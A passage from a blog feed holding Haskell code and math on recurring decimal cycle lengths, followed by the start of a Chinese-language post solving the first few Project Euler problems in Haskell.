class="title">afterPoint</span> :: <span class="type">Int</span> -&gt; [<span class="type">Int</span>]</span><br><span class="line"><span class="title">afterPoint</span> = afterPoint&#x27; <span class="number">1</span></span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    afterPoint&#x27; num deno =</span><br><span class="line">      <span class="keyword">let</span> (d, r) = (<span class="number">10</span> * num) `divMod` deno <span class="comment">-- Multiplies numerator by 10, divides by denominator, and keeps remainder.</span></span><br><span class="line">       <span class="keyword">in</span> d : afterPoint&#x27; r deno <span class="comment">-- Recursively continues with remainder as new numerator.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- Calculates the length of the recurring cycle in the decimal representation of 1/deno.</span></span><br><span class="line"><span class="title">recurCycle</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">recurCycle</span> deno = recurCycle&#x27; onlyCycle maxPossibleLen</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    maxSkip = myLog2 deno <span class="comment">-- Determines the number of digits to skip based on log base 2 of denominator.</span></span><br><span class="line">    onlyCycle = drop maxSkip $ afterPoint deno <span class="comment">-- Skips initial digits that don&#x27;t participate in the cycle.</span></span><br><span class="line">    maxPossibleLen = deno - <span class="number">1</span> <span class="comment">-- The maximum possible cycle length is deno - 1.</span></span><br><span class="line">    recurCycle&#x27; xs len</span><br><span class="line">      | all (== <span class="number">0</span>) (take maxPossibleLen xs) = <span class="number">0</span> <span class="comment">-- If all digits are zero, cycle length is 0.</span></span><br><span class="line">      | whenLen len &amp;&amp; not (any whenLen (factors len)) = len <span class="comment">-- Checks if current length satisfies cycle conditions.</span></span><br><span class="line">      | otherwise = recurCycle&#x27; xs (len - <span class="number">1</span>) <span class="comment">-- Otherwise, decreases length and tries again.</span></span><br><span class="line">      <span class="keyword">where</span></span><br><span class="line">        whenLen l = (l /= <span class="number">0</span>) &amp;&amp; listEq (take l xs) (drop l xs) <span class="comment">-- Checks if two subsequences of length l are equal.</span></span><br><span class="line">    myLog2 :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line">    myLog2 num = floor $ logBase <span class="number">2</span> (fromIntegral num) <span class="comment">-- Calculates the floor of log base 2 of a number.</span></span><br><span class="line">    listEq [] _ = <span class="type">True</span> <span class="comment">-- Base case for equality check: empty list is equal to any list.</span></span><br><span class="line">    listEq (x : xs) (y : ys) = (x == y) &amp;&amp; listEq xs ys <span class="comment">-- Recursive case: checks if heads are equal and proceeds to tails.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- Generates the list of factors of a number by finding divisors up to the square root and their complements.</span></span><br><span class="line"><span class="title">factors</span> :: <span class="type">Int</span> -&gt; [<span class="type">Int</span>]</span><br><span class="line"><span class="title">factors</span> num = <span class="keyword">let</span> halfFactors = filter ((== <span class="number">0</span>) . mod num) [<span class="number">2</span> .. floor . sqrt $ fromIntegral num] <span class="keyword">in</span> halfFactors ++ map (div num) (reverse halfFactors)</span><br></pre></td></tr></table></figure><h2 id="Considering-the-Length-Characteristics-of-the-Recurring-Cycle">Considering the Length Characteristics of the Recurring Cycle</h2><p>The recurring part of a recurring decimal is actually a number multiplied by a geometric series, which can be expressed as</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8747em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">in</span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>According to the sum formula, we can get</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3593em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.59em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6973em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.74em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop"><span class="mop">lim</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">→</span><span class="mord mtight">+</span><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">in</span></span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3593em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.59em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5904em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.74em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop"><span class="mop">lim</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">→</span><span class="mord mtight">+</span><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">in</span></span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>It’s observed that the length of the recurring cycle n is related to, or determined by, the denominator. As long as the denominator can be transformed into the form <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7477em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>, it will definitely be a recurring decimal. That is to say, for the fraction <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mord">/</span><span class="mord mathnormal">b</span></span></span></span>, find a positive integer <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> such that <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mord">∣1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>, then this <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> is the length of the recurring cycle.</p><p>The improved code to avoid integer overflow is as follows:</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- Improved version of recurCycle that utilizes an infinite list of numbers composed entirely of 9s to find the cycle length.</span></span><br><span class="line"><span class="title">recurCycleImprove</span> :: <span class="type">Integer</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">recurCycleImprove</span> deno</span><br><span class="line">  | any ((== <span class="number">0</span>) . mod deno) [<span class="number">2</span>, <span class="number">5</span>] = <span class="number">0</span> <span class="comment">-- Returns 0 immediately if deno is a multiple of 2 or 5.</span></span><br><span class="line">  | otherwise = maybe <span class="number">0</span> (+ <span class="number">1</span>) (findIndex ((== <span class="number">0</span>) . (`mod` deno)) all9s) <span class="comment">-- Finds the cycle length using an index in the all9s list.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- Generates an infinite list of integers where each integer is composed entirely of 9s.</span></span><br><span class="line"><span class="title">all9s</span> :: [<span class="type">Integer</span>]</span><br><span class="line"><span class="title">all9s</span> = map (\n -&gt; <span class="number">10</span> ^ n - <span class="number">1</span>) [<span class="number">1</span> :: <span class="type">Integer</span> ..]</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/math/decimal-recurring-cycles-and-cyclic-groups/</id>
    <link href="https://www.blog-blockchain.xyz/math/decimal-recurring-cycles-and-cyclic-groups/"/>
    <published>2024-01-21T12:28:03.000Z</published>
    <summary>An exploration of the mathematical relationship between decimal recurring cycles and cyclic groups theory, analyzing how the period length of recurring decimals relates to modular arithmetic and Euler's totient function.</summary>
    <title>Decimal Recurring Cycles and Cyclic Groups</title>
    <updated>2026-02-19T16:18:01.156Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="functional language" scheme="https://www.blog-blockchain.xyz/categories/functional-language/"/>
    <category term="Haskell" scheme="https://www.blog-blockchain.xyz/tags/Haskell/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/fp/FP-haskell-1/" title="Haskell(一)入门">Haskell(一)入门</a></li><li><a href="/fp/FP-haskell-2/" title="Haskell(二)函数式编程">Haskell(二)函数式编程</a></li><li><a href="/fp/monad/" title="Haskell(三) Monad">Haskell(三) Monad</a></li><li><a href="/fp/Haskell-summary-toolchain/" title="Haskell(四)总结和工具链">Haskell(四)总结和工具链</a></li><li><a href="/fp/Haskell-epilogue/" title="Haskell(五) 总结和展望">Haskell(五) 总结和展望</a></li><li><a href="/fp/project-euler/" title="Haskell(六) Project Euler 练习1-26">Haskell(六) Project Euler 练习1-26</a></li></ol></blockquote><p>本文会选择一些有意思的 <a href="https://projecteuler.net/">Project Euler</a> 的题目，学习怎么用 Haskell 写算法，并且逐渐学习相关语言和数学知识。前 100 题可以直接分享答案，后续的题目就只给暗示和加密的答案，可以发邮件获取解密方式。</p><p>代码仓库：<a href="https://github.com/learnerLj/projecteuler">https://github.com/learnerLj/projecteuler</a></p><h2 id="P1">P1</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/01c147056957bf52eaf6f8843ee69391.png" alt="image-20240114210638244"></p><p>显然 3 和 5 的倍数，其实是 3 和 5 的倍数，去除重复算的 15 的倍数。而且 3 的倍数的和，还可以化简成求和公式。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">sumOfMultiples</span> limit = sumDivisible <span class="number">3</span> + sumDivisible <span class="number">5</span> - sumDivisible <span class="number">15</span></span><br><span class="line">    <span class="keyword">where</span></span><br><span class="line">        cumulativeSum n = n * (n + <span class="number">1</span>) `div` <span class="number">2</span></span><br><span class="line">        sumDivisible n = n * cumulativeSum (limit `div` n)</span><br></pre></td></tr></table></figure><h2 id="p2-偶数项斐波那契数列">p2 偶数项斐波那契数列</h2><p><a href="https://projecteuler.net/problem=2">https://projecteuler.net/problem=2</a></p><p><img src="https://cdn.blog-blockchain.xyz/2024/01/000e052221c783c485705f832d9afb2a.png" alt="image-20240114210657311"></p><p>偶数项的斐波那契数列，实际上也有递推公式。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">sumEvenLessThanImproved</span> :: <span class="type">Integer</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">sumEvenLessThanImproved</span> limit = sum $ takeWhile (&lt; limit) evenFibList</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    evenFibList = <span class="number">2</span> : <span class="number">8</span> : zipWith (\x y -&gt; x + <span class="number">4</span> * y) evenFibn1 evenFibn2</span><br><span class="line">    evenFibn1 = evenFibList</span><br><span class="line">    evenFibn2 = tail evenFibList</span><br></pre></td></tr></table></figure><p>或者先求出来斐波那契数列，然后筛选偶数项也行。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sumEvenLessThan :: Integer -&gt; Integer</span><br><span class="line">sumEvenLessThan limit = sum $ filter even $ takeWhile (&lt; limit) fibList</span><br><span class="line">  where</span><br><span class="line">    fibList =</span><br><span class="line">      let fibn1 = fibList</span><br><span class="line">          fibn2 = tail fibList</span><br><span class="line">       in 1 : 2 : zipWith (+) fibn1 fibn2</span><br></pre></td></tr></table></figure><h2 id="P3-质因数分解">P3 质因数分解</h2><p><a href="https://projecteuler.net/problem=3">https://projecteuler.net/problem=3</a></p><p><img src="https://cdn.blog-blockchain.xyz/2024/01/691c7b4eb0adb0387efa7cacfd5501fa.png" alt="image-20240114210721042"></p><p>质因数分解就先求出来质数，然后再一个一个匹配，看是否是某个数的因数。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">primes</span> :: [<span class="type">Integer</span>]</span><br><span class="line"><span class="title">primes</span> = sieve [<span class="number">2</span>..]</span><br><span class="line">    <span class="keyword">where</span></span><br><span class="line">    sieve [] = []</span><br><span class="line">    sieve (p:xs) = p: sieve [x| x&lt;-xs, x `mod` p /=<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="title">primeFactors</span> :: <span class="type">Integer</span> -&gt; [<span class="type">Integer</span>]</span><br><span class="line"><span class="title">primeFactors</span> n =primeFactors&#x27; n primes</span><br><span class="line">    <span class="keyword">where</span></span><br><span class="line">        primeFactors&#x27; <span class="number">1</span> _ = []</span><br><span class="line">        primeFactors&#x27; _ [] = []</span><br><span class="line">        primeFactors&#x27; m (p:xs)</span><br><span class="line">            | m `mod` p ==<span class="number">0</span> = p: primeFactors&#x27; (divide m p) xs</span><br><span class="line">            | otherwise = primeFactors&#x27; m xs</span><br><span class="line">        divide m p</span><br><span class="line">            | m `mod` p ==<span class="number">0</span> = divide (m `div` p) p</span><br><span class="line">            | otherwise = m</span><br><span class="line"></span><br><span class="line"><span class="title">largestPrimeFactor</span> :: <span class="type">Integer</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">largestPrimeFactor</span> n= last $ primeFactors n</span><br></pre></td></tr></table></figure><h2 id="P4-回文数的分解">P4 回文数的分解</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/d0e2ecb9aa4e91dd55c07c4f5d56060f.png" alt="image-20240114210737606"></p><p>这里学习如何用 Haskell 写循环，对于不熟悉的人来说，还是有点挑战的。首先遍历 x 和 y，y 从大到小，如果 y 到达下界，就 x-1，重置 y，直到 x 到达下界返回。</p><p>这里回文数比如整除 11，然后 11 是质数，所以回文数之一必然整除 11，所以每次 y -11。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">isPalindrome</span> :: <span class="type">Int</span> -&gt; <span class="type">Bool</span></span><br><span class="line"><span class="title">isPalindrome</span> n = n == reverseNum n</span><br><span class="line">    <span class="keyword">where</span></span><br><span class="line">    reverseNum :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line">    reverseNum = go <span class="number">0</span></span><br><span class="line">        <span class="keyword">where</span></span><br><span class="line">        go acc <span class="number">0</span> = acc</span><br><span class="line">        go acc x = <span class="keyword">let</span> (q, r) = x `quotRem` <span class="number">10</span> <span class="keyword">in</span> go (acc * <span class="number">10</span> + r) q</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="title">largestPalindromeProduct</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">largestPalindromeProduct</span> n = go <span class="number">0</span> upperBound (divisible11 upperBound)</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    lowerBound = <span class="number">10</span> ^ (n - <span class="number">1</span>)</span><br><span class="line">    upperBound = <span class="number">10</span> ^ n - <span class="number">1</span></span><br><span class="line">    go maxPalin x y</span><br><span class="line">      | x &lt; lowerBound = maxPalin</span><br><span class="line">      | y &lt; lowerBound = go maxPalin (x - <span class="number">1</span>) (divisible11 (x-<span class="number">1</span>))</span><br><span class="line">      | isPalindrome currentPalin = go (max maxPalin currentPalin) (x-<span class="number">1</span>) (divisible11 (x-<span class="number">1</span>))</span><br><span class="line">      | otherwise = go maxPalin x (y - <span class="number">11</span>)</span><br><span class="line">      <span class="keyword">where</span> currentPalin = x * y</span><br><span class="line">    divisible11 m = m - m `mod` <span class="number">11</span></span><br></pre></td></tr></table></figure><h2 id="P5-最小公倍数">P5 最小公倍数</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/e9fe3be739c16361534e3649cd7441e4.png" alt="image-20240114211157599"></p><p>最小公倍数 x，事实上是覆盖 a 和 b 的质数因子的最小数。比如 6=2*3, 8= 2*2*2，那么最小公倍数要有 3 个 2，1 个 3，也即 2*2*2*3=24。多个数也是一样的。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">lcmRangeImproved</span> :: <span 